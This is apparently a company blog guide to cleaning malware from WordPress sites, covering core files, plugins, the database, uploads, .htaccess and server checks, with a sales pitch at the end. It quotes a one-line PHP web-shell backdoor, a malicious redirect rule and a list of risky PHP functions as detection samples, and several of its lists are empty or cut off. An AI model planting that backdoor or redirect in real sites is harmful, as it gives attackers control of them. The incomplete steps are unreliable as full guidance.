Malware infections continue to threaten WordPress websites in 2026, particularly those using outdated plugins, nulled themes, or weak security configurations. If your website is redirecting users, showing pop-ups, slowing down, or behaving abnormally, a malware infection is highly likely.
This comprehensive guide outlines 10 practical, professional-level steps to fully remove malware from your WordPress website.
1. Replace WordPress Core Files with Fresh Copies
Hackers frequently modify WordPress core files, injecting malware deep within the system.
Signature Example:
/wp-content/
wp-config.phpThis removes:
2. Remove Suspicious Plugins and Themes
Infected plugins and themes (especially nulled ones) are the leading cause of WordPress hacks in the UK.
What to Do:
Common suspicious folders include:
/wp-content/plugins/wp-v2/
/wp-content/plugins/adminer/
/wp-content/themes/twentyfifteen-old/If it looks unusual → delete it immediately.
3. Scan Files for Malware Signatures
Hackers often hide malware using encoded or obfuscated PHP.
Recommended Tools:
High-risk PHP functions include:
eval(
base64_decode(
gzuncompress(
preg_replace(“/.*/e”
shell_exec(
system(Delete or replace any file containing these patterns unless verified as legitimate.
4. Clean the Database of Malware
Malware frequently spreads to the database through:
Run the following queries:
SELECT * FROM wp_posts WHERE post_content LIKE ‘%<script%’;
SELECT * FROM wp_options WHERE option_value LIKE ‘%base64%’;
SELECT * FROM wp_users;Remove:
5. Remove Malware from the Uploads Folder
The uploads directory is one of the most commonly exploited locations.
Check for:
Any .php files inside:
/wp-content/uploads/
There should never be PHP files in this folder.
Delete files such as:
1index.php
shell.php
payload.php
a.php6. Remove Backdoors (Most Critical Step)
A backdoor allows attackers to regain access even after cleaning the site.
Common locations:
Look for code snippets like:
if(isset($_REQUEST[‘cmd’])) { system($_REQUEST[‘cmd’]); }
If any backdoor remains, reinfection is guaranteed.
7. Check the .htaccess File for Redirect Malware
Redirect infections are one of the most visible signs of a hacked site.
Example malicious rule:
RewriteRule ^.*$ http://malicious-site.com [L]
Fix:
# BEGIN WordPress
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ – [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPressIf any backdoor remains, reinfection is guaranteed.
8. Use a Professional Malware Removal Tool
If you prefer automated and reliable removal, use trusted tools.
Best Tools in 2026:
These solutions:
9. Reinstall Fresh Copies of Themes
Themes, especially outdated ones are frequent targets for attackers.
Steps:
Pay attention to:
These are the most commonly modified files.
10. Clean Your Hosting Account or Server
If the infection repeatedly returns, the hosting account may also be compromised.
Essential actions:
clamscan -r /home/username
find . -type d -exec chmod 755 {} \;
find . -type f -exec chmod 644 {} \;This ensures malware cannot execute from outside WordPress.
BONUS: Harden Your Website After Cleaning
Strengthen your WordPress security to minimise the risk of future attacks.
Essential security practices:
define(‘DISALLOW_FILE_EDIT’, true);
Need Professional Assistance?
If you’d like expert help with removing malware, hardening security, performing backups, updates, monitoring and full protection, we offer complete WordPress maintenance packages.
Visit: WordPress Maintenance



